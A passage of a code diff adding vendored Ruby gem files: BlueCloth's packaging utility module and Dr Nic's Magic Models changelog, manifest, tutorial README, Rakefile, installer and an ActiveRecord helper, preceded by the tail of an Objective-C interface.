- (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20;
- (struct _NSSize)lastImageSize:(void *)fp16;
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
@end
@interface ExportMgrRec : NSObject
{
NSString *mPath;
NSBundle *mBundle;
id mPlugin;
struct _NSSize mViewSize;
}
- (void)dealloc;
- (BOOL)isEqual:(id)fp12;
- (id)description;
- (id)initWithPath:(id)fp12;
- (id)path;
- (id)bundle;
- (id)bundleInfo;
- (BOOL)isValidExportPlugin;
- (BOOL)loadPlugin;
- (id)exportPlugin;
- (void)unloadPlugin;
- (id)view;
- (struct _NSSize)viewSize;
- (void)setPath:(id)fp12;
- (void)setBundle:(id)fp12;
@end

553
vendor/gems/BlueCloth-1.0.0/utils.rb vendored Normal file
View File

@@ -0,0 +1,553 @@
#
# Install/distribution utility functions
# $Id: utils.rb,v 1.5 2004/01/18 19:15:18 deveiant Exp $
#
# Copyright (c) 2001-2004, The FaerieMUD Consortium.
#
# This is free software. You may use, modify, and/or redistribute this
# software under the terms of the Perl Artistic License. (See
# http://language.perl.com/misc/Artistic.html)
#
BEGIN {
require 'find'
begin
require 'readline'
include Readline
rescue LoadError => e
$stderr.puts "Faking readline..."
def readline( prompt )
$stderr.print prompt.chomp
return $stdin.gets.chomp
end
end
}
class File
Win32Exts = %w{.exe .com .bat}
def self::which( prog, path=ENV['PATH'] )
path.split(File::PATH_SEPARATOR).each {|dir|
# If running under Windows, look for prog + extensions
if File::ALT_SEPARATOR
ext = Win32Exts.find_all {|ext|
f = File::join(dir, prog+ext)
File::executable?(f) && !File::directory?(f)
}
ext.each {|f|
f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
if block_given? then yield( f ) else return f end
}
else
f = File::join( dir, prog )
if File::executable?( f ) && ! File::directory?( f )
if block_given? then yield(f) else return f end
end
end
}
end
end
module UtilityFunctions
# The list of regexen that eliminate files from the MANIFEST
ANTIMANIFEST = [
/makedist\.rb/,
/\bCVS\b/,
/~$/,
/^#/,
%r{docs/html},
%r{docs/man},
/\bTEMPLATE\.\w+\.tpl\b/,
/\.cvsignore/,
/\.s?o$/,
]
AMRegexp = Regexp::union( *ANTIMANIFEST )
# Set some ANSI escape code constants (Shamelessly stolen from Perl's
# Term::ANSIColor by Russ Allbery <rra@stanford.edu> and Zenin <zenin@best.com>
AnsiAttributes = {
'clear' => 0,
'reset' => 0,
'bold' => 1,
'dark' => 2,
'underline' => 4,
'underscore' => 4,
'blink' => 5,
'reverse' => 7,
'concealed' => 8,
'black' => 30, 'on_black' => 40,
'red' => 31, 'on_red' => 41,
'green' => 32, 'on_green' => 42,
'yellow' => 33, 'on_yellow' => 43,
'blue' => 34, 'on_blue' => 44,
'magenta' => 35, 'on_magenta' => 45,
'cyan' => 36, 'on_cyan' => 46,
'white' => 37, 'on_white' => 47
}
ErasePreviousLine = "\033[A\033[K"
###############
module_function
###############
# Create a string that contains the ANSI codes specified and return it
def ansiCode( *attributes )
return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
if attr.empty?
return ''
else
return "\e[%sm" % attr
end
end
# Test for the presence of the specified <tt>library</tt>, and output a
# message describing the test using <tt>nicename</tt>. If <tt>nicename</tt>
# is <tt>nil</tt>, the value in <tt>library</tt> is used to build a default.
def testForLibrary( library, nicename=nil )
nicename ||= library
message( "Testing for the #{nicename} library..." )
found = false
begin
require library
rescue LoadError => err
message "no found (%s)\n" % err.message
else
message "found\n"
found = true
end
return found
end
# Test for the presence of the specified <tt>library</tt>, and output a
# message describing the problem using <tt>nicename</tt>. If
# <tt>nicename</tt> is <tt>nil</tt>, the value in <tt>library</tt> is used
# to build a default. If <tt>raaUrl</tt> and/or <tt>downloadUrl</tt> are
# specified, they are also use to build a message describing how to find the
# required library. If <tt>fatal</tt> is <tt>true</tt>, a missing library
# will cause the program to abort.
def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
nicename ||= library
unless testForLibrary( library, nicename )
msgs = [ "You are missing the required #{nicename} library.\n" ]
msgs << "RAA: #{raaUrl}\n" if raaUrl
msgs << "Download: #{downloadUrl}\n" if downloadUrl
if fatal
abort msgs.join('')
else
errorMessage msgs.join('')
end
end
return true
end
### Output <tt>msg</tt> as a ANSI-colored program/section header (white on
### blue).
def header( msg )
msg.chomp!
$stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
$stderr.flush
end
### Output <tt>msg</tt> to STDERR and flush it.
def message( msg )
$stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
$stderr.flush
end
### Output the specified <tt>msg</tt> as an ANSI-colored error message
### (white on red).
def errorMessage( msg )
message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
end
### Output the specified <tt>msg</tt> as an ANSI-colored debugging message
### (yellow on blue).
def debugMsg( msg )
return unless $DEBUG
msg.chomp!
$stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
$stderr.flush
end
### Erase the previous line (if supported by your terminal) and output the
### specified <tt>msg</tt> instead.
def replaceMessage( msg )
print ErasePreviousLine
message( msg )
end
### Output a divider made up of <tt>length</tt> hyphen characters.
def divider( length=75 )
puts "\r" + ("-" * length )
end
alias :writeLine :divider
### Output the specified <tt>msg</tt> colored in ANSI red and exit with a
### status of 1.
def abort( msg )
print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
Kernel.exit!( 1 )
end
### Output the specified <tt>promptString</tt> as a prompt (in green) and
### return the user's input with leading and trailing spaces removed.
def prompt( promptString )
promptString.chomp!
return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
end
### Prompt the user with the given <tt>promptString</tt> via #prompt,
### substituting the given <tt>default</tt> if the user doesn't input
### anything.
def promptWithDefault( promptString, default )
response = prompt( "%s [%s]" % [ promptString, default ] )
if response.empty?
return default
else
return response
end
end
### Search for the program specified by the given <tt>progname</tt> in the
### user's <tt>PATH</tt>, and return the full path to it, or <tt>nil</tt> if
### no such program is in the path.
def findProgram( progname )
ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
file = File.join( d, progname )
return file if File.executable?( file )
}
return nil
end
### Using the CVS log for the given <tt>file</tt> attempt to guess what the
### next release version might be. This only works if releases are tagged
### with tags like 'RELEASE_x_y'.
def extractNextVersionFromTags( file )
message "Attempting to extract next release version from CVS tags for #{file}...\n"
raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
cvsPath = findProgram( 'cvs' ) or
raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
output = %x{#{cvsPath} log #{file}}
release = [ 0, 0 ]
output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
if $1.to_i > release[0] || $2.to_i > release[1]
release = [ $1.to_i, $2.to_i ]
replaceMessage( "Found %d.%02d...\n" % release )
end
}
if release[1] >= 99
release[0] += 1
release[1] = 1
else
release[1] += 1
end
return "%d.%02d" % release
end
### Write a new manifest file with the given +named+, moving any current one
### aside with an ".old" suffix if +backup+ is true.
def makeManifest( name="MANIFEST", backup=true )
message "Making manifest file '#{name}'"
# Move an old one aside if a backup is desired
if backup and File::exists?( name )
File::rename( name, name + ".old" )
end
File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
Find::find( "." ) do |file|
Find.prune if AMRegexp =~ file
Find.prune if %r{/\.} =~ file
Find.prune if /TEMPLATE/ =~ file
next if File::directory?( file )
ofh.puts file
end
}
end
### Read the specified <tt>manifestFile</tt>, which is a text file
### describing which files to package up for a distribution. The manifest
### should consist of one or more lines, each containing one filename or
### shell glob pattern.
def readManifest( manifestFile="MANIFEST" )
message "Reading manifest..."
raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
manifest = IO::readlines( manifestFile ).collect {|line|
line.chomp
}.select {|line|
line !~ /^(\s*(#.*)?)?$/
}
filelist = []
for pat in manifest
$stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
end
message "found #{filelist.length} files.\n"
return filelist
end
### Given a <tt>filelist</tt> like that returned by #readManifest, remove
### the entries therein which match the Regexp objects in the given
### <tt>antimanifest</tt> and return the resultant Array.
def vetManifest( filelist, antimanifest=ANITMANIFEST )
origLength = filelist.length
message "Vetting manifest..."
for regex in antimanifest
if $VERBOSE
message "\n\tPattern /#{regex.source}/ removed: " +
filelist.find_all {|file| regex.match(file)}.join(', ')
end
filelist.delete_if {|file| regex.match(file)}
end
message "removed #{origLength - filelist.length} files from the list.\n"
return filelist
end
### Combine a call to #readManifest with one to #vetManifest.
def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
vetManifest( readManifest(manifestFile), antimanifest )
end
### Given a documentation <tt>catalogFile</tt>, extract the title, if
### available, and return it. Otherwise generate a title from the name of
### the CVS module.
def findRdocTitle( catalogFile="docs/CATALOG" )
# Try extracting it from the CATALOG file from a line that looks like:
# Title: Foo Bar Module
title = findCatalogKeyword( 'title', catalogFile )
# If that doesn't work for some reason, try grabbing the name of the CVS
# repository the directory belongs to.
if title.nil? && File::directory?( "CVS" ) &&
File::exists?( "CVS/Repository" )
title = File::read( "CVS/Repository" ).chomp
end
# As a last resort, use the name of the project directory
if title.nil?
distdir = File::dirname( __FILE__ )
distdir = File::dirname( distdir ) if /docs$/ =~ distdir
title = File::basename( distdir )
end
return title
end
### Given a documentation <tt>catalogFile</tt>, extract the name of the file
### to use as the initally displayed page. If extraction fails, the
### +default+ will be used if it exists. Returns +nil+ if there is no main
### file to be found.
def findRdocMain( catalogFile="docs/CATALOG", default="README" )
# Try extracting it from the CATALOG file from a line that looks like:
# Main: Foo Bar Module
main = findCatalogKeyword( 'main', catalogFile )
# Try to make some educated guesses if that doesn't work
if main.nil?
basedir = File::dirname( __FILE__ )
basedir = File::dirname( basedir ) if /docs$/ =~ basedir
if File::exists?( File::join(basedir, default) )
main = default
end
end
return main
end
### Given a documentation <tt>catalogFile</tt>, extract an upload URL for
### RDoc.
def findRdocUpload( catalogFile="docs/CATALOG" )
findCatalogKeyword( 'upload', catalogFile )
end
### Given a documentation <tt>catalogFile</tt>, extract a CVS web frontend
### URL for RDoc.
def findRdocCvsURL( catalogFile="docs/CATALOG" )
findCatalogKeyword( 'webcvs', catalogFile )
end
### Given a documentation <tt>catalogFile</tt>, try extracting the given
### +keyword+'s value from it. Keywords are lines that look like:
### # <keyword>: <value>
### Returns +nil+ if the catalog file was unreadable or didn't contain the
### specified +keyword+.
def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
val = nil
if File::exists? catalogFile
message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
File::foreach( catalogFile ) {|line|
debugMsg( "Examining line #{line.inspect}..." )
val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
}
end
return val
end
### Given a documentation <tt>catalogFile</tt>, which is in the same format
### as that described by #readManifest, read and expand it, and then return
### a list of those files which appear to have RDoc documentation in
### them. If <tt>catalogFile</tt> is nil or does not exist, the MANIFEST
### file is used instead.
def findRdocableFiles( catalogFile="docs/CATALOG" )
startlist = []
if File.exists? catalogFile
message "Using CATALOG file (%s).\n" % catalogFile
startlist = getVettedManifest( catalogFile )
else
message "Using default MANIFEST\n"
startlist = getVettedManifest()
end
message "Looking for RDoc comments in:\n" if $VERBOSE
startlist.select {|fn|
message " #{fn}: " if $VERBOSE
found = false
File::open( fn, "r" ) {|fh|
fh.each {|line|
if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
found = true
break
end
}
}
message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
found
}
end
### Open a file and filter each of its lines through the given block a
### <tt>line</tt> at a time. The return value of the block is used as the
### new line, or omitted if the block returns <tt>nil</tt> or
### <tt>false</tt>.
def editInPlace( file ) # :yields: line
raise "No block specified for editing operation" unless block_given?
tempName = "#{file}.#{$$}"
File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
File::unlink( tempName )
File::open( file, File::RDONLY ) {|fh|
fh.each {|line|
newline = yield( line ) or next
tempfile.print( newline )
}
}
tempfile.seek(0)
File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
newfile.print( tempfile.read )
}
}
end
### Execute the specified shell <tt>command</tt>, read the results, and
### return them. Like a %x{} that returns an Array instead of a String.
def shellCommand( *command )
raise "Empty command" if command.empty?
cmdpipe = IO::popen( command.join(' '), 'r' )
return cmdpipe.readlines
end
### Execute a block with $VERBOSE set to +false+, restoring it to its
### previous value before returning.
def verboseOff
raise LocalJumpError, "No block given" unless block_given?
thrcrit = Thread.critical
oldverbose = $VERBOSE
begin
Thread.critical = true
$VERBOSE = false
yield
ensure
$VERBOSE = oldverbose
Thread.critical = false
end
end
### Try the specified code block, printing the given
def try( msg, bind=nil )
result = nil
if msg =~ /^to\s/
message = "Trying #{msg}..."
else
message = msg
end
begin
rval = nil
if block_given?
rval = yield
else
file, line = caller(1)[0].split(/:/,2)
rval = eval( msg, bind, file, line.to_i )
end
result = rval.inspect
rescue Exception => err
if err.backtrace
nicetrace = err.backtrace.delete_if {|frame|
/in `(try|eval)'/ =~ frame
}.join("\n\t")
else
nicetrace = "Exception had no backtrace"
end
result = err.message + "\n\t" + nicetrace
ensure
puts result
end
end
def time
start = Time::now
stimes = Process::times
rval = yield
etimes = Process::times
$stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
etimes.utime - stimes.utime,
etimes.stime - stimes.stime,
Time::now.to_f - start.to_f,
]
return rval
end
end

View File

@@ -0,0 +1,9 @@
* 0.2.5 * - Initial public release
- ActiveRecords can now be auto-created in memory when first referenced
from their table name, without an explicit class definition.
- ActiveRecords will automatically include validates_presence_of on
each field with :null => false
- ActiveRecords will automatically generate simple has_many, has_one,
belongs_to assocations based upon assumed foreign keys. E.g.
foreign key to products table is assumed to be product_id.

View File

@@ -0,0 +1,28 @@
*** 0.9.2 / 2007-4-30
+ 1 major buxfix:
+ #generate_validations now works if you haven't already created a connection to the database; previously
validations wouldn't get created until you had already established the connection; now it does it for
you if its not already established
+ Associations can be generated via the assignment methods, e.g. @membership.group= will generate the "belongs_to :group" association now. This allows the website tutorial to work correctly! Yay. That is, you can now do: Membership.create(:person => person, :group => group)
+ has_many's should work now
*** 0.9.1 / 2007-4-11
+ 1 minor enhancement:
+ ActiveRecord::Base includes all the magic model functionality via the MagicModel module
+ Existing ARs can get magic validation via #generate_validations call
+ Website tutorial works :D
*** 0.9.0 / 2007-4-9
+ 1 major enhancement:
+ Support for dynamic loading of classes again
+ 2 new DB supported:
+ Tests run on sqlite (no fk support)
+ Tests run on postgresql (fk support)
+ Including FK bug fix
+ Many fixes that I've lost track of
+ History.txt to keep track of changes like these
+ Using Hoe for Rakefile
+ Use modules to specify common table prefixes

View File

@@ -0,0 +1,56 @@
CHANGELOG
History.txt
Manifest.txt
README
Rakefile
install.rb
lib/base.rb
lib/connection_adapters/abstract/schema_statements.rb
lib/connection_adapters/abstract_adapter.rb
lib/connection_adapters/mysql_adapter.rb
lib/connection_adapters/postgresql_adapter.rb
lib/dr_nic_magic_models.rb
lib/dr_nic_magic_models/inflector.rb
lib/dr_nic_magic_models/magic_model.rb
lib/dr_nic_magic_models/schema.rb
lib/dr_nic_magic_models/validations.rb
lib/dr_nic_magic_models/version.rb
lib/module.rb
lib/rails.rb
scripts/txt2html
scripts/txt2js
test.db
test/abstract_unit.rb
test/connections/native_mysql/connection.rb
test/connections/native_postgresql/connection.rb
test/connections/native_sqlite/connection.rb
test/dummy_test.rb
test/env_test.rb
test/fixtures/.DS_Store
test/fixtures/adjectives.yml
test/fixtures/adjectives_fun_users.yml
test/fixtures/db_definitions/mysql.drop.sql
test/fixtures/db_definitions/mysql.sql
test/fixtures/db_definitions/postgresql.sql
test/fixtures/db_definitions/sqlite.sql
test/fixtures/fun_users.yml
test/fixtures/group_memberships.yml
test/fixtures/group_tag.yml
test/fixtures/groups.yml
test/foreign_keys_test.rb
test/fun_user_plus.rb
test/invisible_model_access_test.rb
test/invisible_model_assoc_test.rb
test/invisible_model_classes_test.rb
test/magic_module_test.rb
test/test_existing_model.rb
website/index.html
website/index.txt
website/javascripts/rounded_corners_lite.inc.js
website/stylesheets/screen.css
website/template.js
website/template.rhtml
website/version-raw.js
website/version-raw.txt
website/version.js
website/version.txt

View File

@@ -0,0 +1,294 @@
See http://magicmodels.rubyforge.org/dr_nic_magic_models for pretty README
Ugly README (from website/index.txt in Textile format):
h1. Dr Nic's Magic Models
If you've used Ruby on Rails you'll have written at least one model class like this:
<pre syntax='ruby'>
class Person < ActiveRecord::Base
has_many :memberships
has_many :groups, :through => :memberships
belongs_to :family
validates_presence_of :firstname, :lastname, :email
end
</pre>
A few minutes later you'll have wondered to yourself,
<blockquote>
Why do I have write my own <code>has_many</code>, <code>belongs_to</code>, and <code>validates_presence_of</code>
commands if all the data is in the database schema?
</blockquote>
Now, for the very first time, your classes can look like this:
<pre syntax='ruby'>
class Person < ActiveRecord::Base
end
</pre>
or, if you are lazy...
<pre syntax='ruby'>
class Person < ActiveRecord::Base; end
</pre>
or, if you read right to the end of this page, this...
<pre syntax='ruby'>
# Go fish.
</pre>
Magic and mystery abound. All for you. Impress your friends, amaze your mother.
NOTE: The gratuitous use of *Dr Nic's* in the name should only enhance the mystical magikery,
for magic needs a magician; and I love magic. I always wanted to create my own magic trick.
So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too,
if Harry were 32 and better dressed.
h2. Installation
To install the Dr Nic's Magic Models gem you can run the following command to
fetch the gem remotely from RubyForge:
<pre>
gem install dr_nic_magic_models
</pre>
or "download the gem manually":http://rubyforge.org/projects/magicmodels and
run the above command in the download directory.
Now you need to <code>require</code> the gem into your Ruby/Rails app. Insert the following
line into your script (use <code>config/environment.rb</code> for your Rails apps):
<pre>
require 'dr_nic_magic_models'
</pre>
Your application is now blessed with magical mystery.
h2. David Copperfield eat your Ruby-crusted heart out
Let's demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas):
<pre syntax="ruby">
rails magic_show -d sqlite3
cd magic_show
ruby script/generate model Person
ruby script/generate model Group
ruby script/generate model Membership
</pre>
Update the migration <code>001_create_people.rb</code> with:
<pre syntax="ruby">
class CreatePeople < ActiveRecord::Migration
def self.up
create_table :people do |t|
t.column :firstname, :string, :null => false
t.column :lastname, :string, :null => false
t.column :email, :string, :null => false
end
end
def self.down
drop_table :people
end
end
</pre>
Similarly, update the <code>def self.up</code> method of <code>002_create_groups.rb</code>
with:
<pre syntax="ruby">
create_table :groups do |t|
t.column :name, :string, :null => false
t.column :description, :string
end
</pre>
and <code>003_create_memberships.rb</code> with:
<pre syntax="ruby">
create_table :memberships do |t|
t.column :person_id, :integer, :null => false
t.column :group_id, :integer, :null => false
end
</pre>
And run your migrations to create the three tables:
<pre>
rake db:migrate
</pre>
h3. And now for some "woofle dust":http://en.wikipedia.org/wiki/List_of_conjuring_terms ...
At the end of <code>config/environment.rb</code> add the following line:
<pre>
require 'dr_nic_magic_models'
</pre>
Now, let's do a magic trick. First, let's check our model classes (<code>app/models/person.rb</code> etc):
<pre syntax="ruby">
class Person < ActiveRecord::Base
end
class Group < ActiveRecord::Base
end
class Membership < ActiveRecord::Base
end
</pre>
Nothing suspicious here. We have no validations and no associations. Just some plain old model classes.
UPDATE: To turn on magic validations, you now need to invoke <code>generate_validations</code> on defined classes. So, update your model classes:
<pre syntax="ruby">
class Person < ActiveRecord::Base
generate_validations
end
class Group < ActiveRecord::Base
generate_validations
end
class Membership < ActiveRecord::Base
generate_validations
end
</pre>
For this trick, we'll need an ordinary console session. Any old one lying around the house will do.
<pre>
ruby script/console
</pre>
Now a normal model class is valid until you explicitly add <code>validates_xxx</code> commands.
With Dr Nic's Magic Models:
<pre syntax="ruby">
person = Person.new
=> #<Person:0x393e0f8 @attributes={"lastname"=>"", "firstname"=>"", "email"=>""}, @new_record=true>
person.valid?
=> false
person.errors
=> #<ActiveRecord::Errors:0x3537b38 @errors={
"firstname"=>["can't be blank", "is too long (maximum is 255 characters)"],
"lastname"=>["can't be blank", "is too long (maximum is 255 characters)"],
"email"=>["can't be blank", "is too long (maximum is 255 characters)"]},
@base=#<Person:0x3538bf0 @errors=#<ActiveRecord::Errors:0x3537b38 ...>, @new_record=true,
@attributes={"lastname"=>nil, "firstname"=>nil, "email"=>nil}>>
</pre>
*Kapoow!* Instant validation! (NOTE: not as instant as it used to be - remember - you need to call <code>generate_validations</code> on each class as required)
Because you specified the three columns as <code>:null => false</code>,
your ActiveRecord models will now automagically generated <code>validates_presence_of</code>
for each non-null field, plus several other validations (since version 0.8.0).
Ok, we're just warming up.
Your models normally require association commands (<code>has_many</code>, <code>belongs_to</code>, etc, as
demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for.
Let's just watch what Dr Nic's Magic Models can do without any effort at all...
<pre syntax="ruby">
person = Person.create(:firstname => "Nic", :lastname => "Williams", :email => "drnicwilliams@gmail.com")
group = Group.create(:name => "Magic Models Forum", :description => "http://groups.google.com/magicmodels")
membership = Membership.create(:person => person, :group => group)
person.memberships.length
=> 1
membership.person
=> <Person:0x38898e8 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
group.memberships
=> [<Membership:0x3c8cd70 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
</pre>
The final association trick is a ripper. Automatic generation of <code>has_many :through</code> associations...
<pre syntax="ruby">
>> person.groups
=> [<Group:0x39047e0 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
>> group.people
=> [<Person:0x3c33580 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>]
</pre>
h3. Drum roll...
Ladies and gentlemen. For my final feat of magical mastery, I'll ask you to do
something you've never done before. This illusion is akin to the "floating lady":http://www.toytent.com/Posters/985.html
illusion that has been passed down through generations of magicians.
Exit your console session.
DELETE your three model classes: <code>person.rb, group.rb, and membership.rb</code> from the
<code>app/models</code> folder. (You can always get them back via the model generator... be fearless!)
<pre>rm app/models/*.rb</pre>
Re-launch your console.
*drums are still rolling...*
Be prepared to applaud loudly...
<pre syntax="ruby">
>> Person
=> Person
</pre>
You applaud loudly, but watch for more...
<pre syntax="ruby">
>> Person.new.valid?
=> false
>> person = Person.find(1)
=> <Person:0x3958930 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
>> person.valid?
=> true
>> person.memberships
=> [<Membership:0x393a000 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
>> person.groups
=> [<Group:0x390df60 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
</pre>
h3. Tada!
The end.
h3. Use modules to scope your magic
Only want to pick up tables starting with <code>blog_</code>?
<pre syntax="ruby">module Blog
magic_module :table_name_prefix => 'blog_'
end
Blog::Post.table_name # => 'blog_posts'
</pre>
h2. Dr Nic's Blog
"http://www.drnicwilliams.com":http://www.drnicwilliams.com - for future announcements and
other stories and things.
h2. Articles about Magic Models
* "Announcement":http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/
* "BTS - Class creation":http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/
h2. Forum
"http://groups.google.com/group/magicmodels":http://groups.google.com/group/magicmodels
h2. Licence
This code is free to use under the terms of the MIT licence.
h2. Contact
Comments are welcome. Send an email to "Dr Nic Williams":mailto:drnicwilliams@gmail.com
or via his blog at "http://www.drnicwilliams.com":http://www.drnicwilliams.com

View File

@@ -0,0 +1,134 @@
require 'rubygems'
require 'rake'
require 'rake/clean'
require 'rake/testtask'
require 'rake/rdoctask'
require 'rake/packagetask'
require 'rake/gempackagetask'
require 'rake/contrib/rubyforgepublisher'
require 'hoe'
require File.join(File.dirname(__FILE__), 'lib', 'dr_nic_magic_models', 'version')
AUTHOR = "nicwilliams" # can also be an array of Authors
EMAIL = "drnicwilliams@gmail.com"
DESCRIPTION = "Dr Nic's Magic Models - Invisible validations, assocations and Active Record models themselves!"
GEM_NAME = "dr_nic_magic_models" # what ppl will type to install your gem
RUBYFORGE_PROJECT = "magicmodels" # The unix name for your project
HOMEPATH = "http://#{RUBYFORGE_PROJECT}.rubyforge.org"
NAME = "magic_multi_connections"
REV = nil # UNCOMMENT IF REQUIRED: File.read(".svn/entries")[/committed-rev="(d+)"/, 1] rescue nil
VERS = ENV['VERSION'] || (DrNicMagicModels::VERSION::STRING + (REV ? ".#{REV}" : ""))
CLEAN.include ['**/.*.sw?', '*.gem', '.config']
RDOC_OPTS = ['--quiet', '--title', "dr_nic_magic_models documentation",
"--opname", "index.html",
"--line-numbers",
"--main", "README",
"--inline-source"]
class Hoe
def extra_deps
@extra_deps.reject { |x| Array(x).first == 'hoe' }
end
end
# Generate all the Rake tasks
# Run 'rake -T' to see list of generated tasks (from gem root directory)
hoe = Hoe.new(GEM_NAME, VERS) do |p|
p.author = AUTHOR
p.description = DESCRIPTION
p.email = EMAIL
p.summary = DESCRIPTION
p.url = HOMEPATH
p.rubyforge_name = RUBYFORGE_PROJECT if RUBYFORGE_PROJECT
p.test_globs = ["test/**/test_*.rb"]
p.clean_globs = CLEAN #An array of file patterns to delete on clean.
# == Optional
p.changes = p.paragraphs_of("History.txt", 0..1).join("\n\n")
#p.extra_deps - An array of rubygem dependencies.
#p.spec_extras - A hash of extra values to set in the gemspec.
end
# Run the unit tests
for adapter in %w( sqlite mysql postgresql ) # UNTESTED - postgresql sqlite sqlite3 firebird sqlserver sqlserver_odbc db2 oracle sybase openbase )
Rake::TestTask.new("test_#{adapter}") { |t|
t.libs << "test" << "test/connections/native_#{adapter}"
t.pattern = "test/*_test{,_#{adapter}}.rb"
t.verbose = true
}
end
SCHEMA_PATH = File.join(File.dirname(__FILE__), *%w(test fixtures db_definitions))
desc 'Build the MySQL test databases'
task :build_mysql_databases do
puts File.join(SCHEMA_PATH, 'mysql.sql')
%x( mysqladmin -u root create "#{GEM_NAME}_unittest" )
cmd = "mysql -u root #{GEM_NAME}_unittest < \"#{File.join(SCHEMA_PATH, 'mysql.sql')}\""
puts "#{cmd}\n"
%x( #{cmd} )
end
desc 'Drop the MySQL test databases'
task :drop_mysql_databases do
%x( mysqladmin -u root -f drop "#{GEM_NAME}_unittest" )
end
desc 'Rebuild the MySQL test databases'
task :rebuild_mysql_databases => [:drop_mysql_databases, :build_mysql_databases]
desc 'Build the sqlite test databases'
task :build_sqlite_databases do
# puts File.join(SCHEMA_PATH, 'sqlite.sql')
# %x( sqlite3 test.db < test/fixtures/db_definitions/sqlite.sql )
file = File.join(SCHEMA_PATH, 'sqlite.sql')
cmd = "sqlite3 test.db < #{file}"
puts cmd
%x( #{cmd} )
end
desc 'Drop the sqlite test databases'
task :drop_sqlite_databases do
%x( rm -f test.db )
end
desc 'Rebuild the sqlite test databases'
task :rebuild_sqlite_databases => [:drop_sqlite_databases, :build_sqlite_databases]
desc 'Build the PostgreSQL test databases'
task :build_postgresql_databases do
%x( createdb "#{GEM_NAME}_unittest" )
%x( psql "#{GEM_NAME}_unittest" -f "#{File.join(SCHEMA_PATH, 'postgresql.sql')}" )
end
desc 'Drop the PostgreSQL test databases'
task :drop_postgresql_databases do
%x( dropdb "#{GEM_NAME}_unittest" )
end
desc 'Rebuild the PostgreSQL test databases'
task :rebuild_postgresql_databases => [:drop_postgresql_databases, :build_postgresql_databases]
desc 'Generate website files'
task :website_generate do
sh %{ ruby scripts/txt2html website/index.txt > website/index.html }
sh %{ ruby scripts/txt2js website/version.txt > website/version.js }
sh %{ ruby scripts/txt2js website/version-raw.txt > website/version-raw.js }
end
desc 'Upload website files to rubyforge'
task :website_upload do
config = YAML.load(File.read(File.expand_path("~/.rubyforge/user-config.yml")))
host = "#{config["username"]}@rubyforge.org"
remote_dir = "/var/www/gforge-projects/#{RUBYFORGE_PROJECT}/#{GEM_NAME}"
local_dir = 'website'
sh %{rsync -av --delete #{local_dir}/ #{host}:#{remote_dir}}
end
desc 'Generate and upload website files'
task :website => [:website_generate, :website_upload]

View File

@@ -0,0 +1,3 @@
require File.join(File.dirname(__FILE__), 'lib', 'dr_nic_magic_models')

View File

@@ -0,0 +1,30 @@
require 'rbconfig'
require 'find'
require 'ftools'
include Config
# this was adapted from rdoc's install.rb by ways of Log4r
$sitedir = CONFIG["sitelibdir"]
unless $sitedir
version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
$libdir = File.join(CONFIG["libdir"], "ruby", version)
$sitedir = $:.find {|x| x =~ /site_ruby/ }
if !$sitedir
$sitedir = File.join($libdir, "site_ruby")
elsif $sitedir !~ Regexp.quote(version)
$sitedir = File.join($sitedir, version)
end
end
# the acual gruntwork
Dir.chdir("lib")
Find.find("dr_nic_magic_models", "dr_nic_magic_models.rb") { |f|
if f[-3..-1] == ".rb"
File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
else
File::makedirs(File.join($sitedir, *f.split(/\//)))
end
}

View File

@@ -0,0 +1,12 @@
#TODO: Use :dependent for FK cascade?
module ActiveRecord
class Base
class << self
public
def get_unique_index_columns
self.connection.indexes(self.table_name, "#{self.name} Indexes").select { |index| index.unique && index.columns.size == 1 }.map{ |index| index.columns.first }
end
end
end
end

View File

@@ -0,0 +1,32 @@
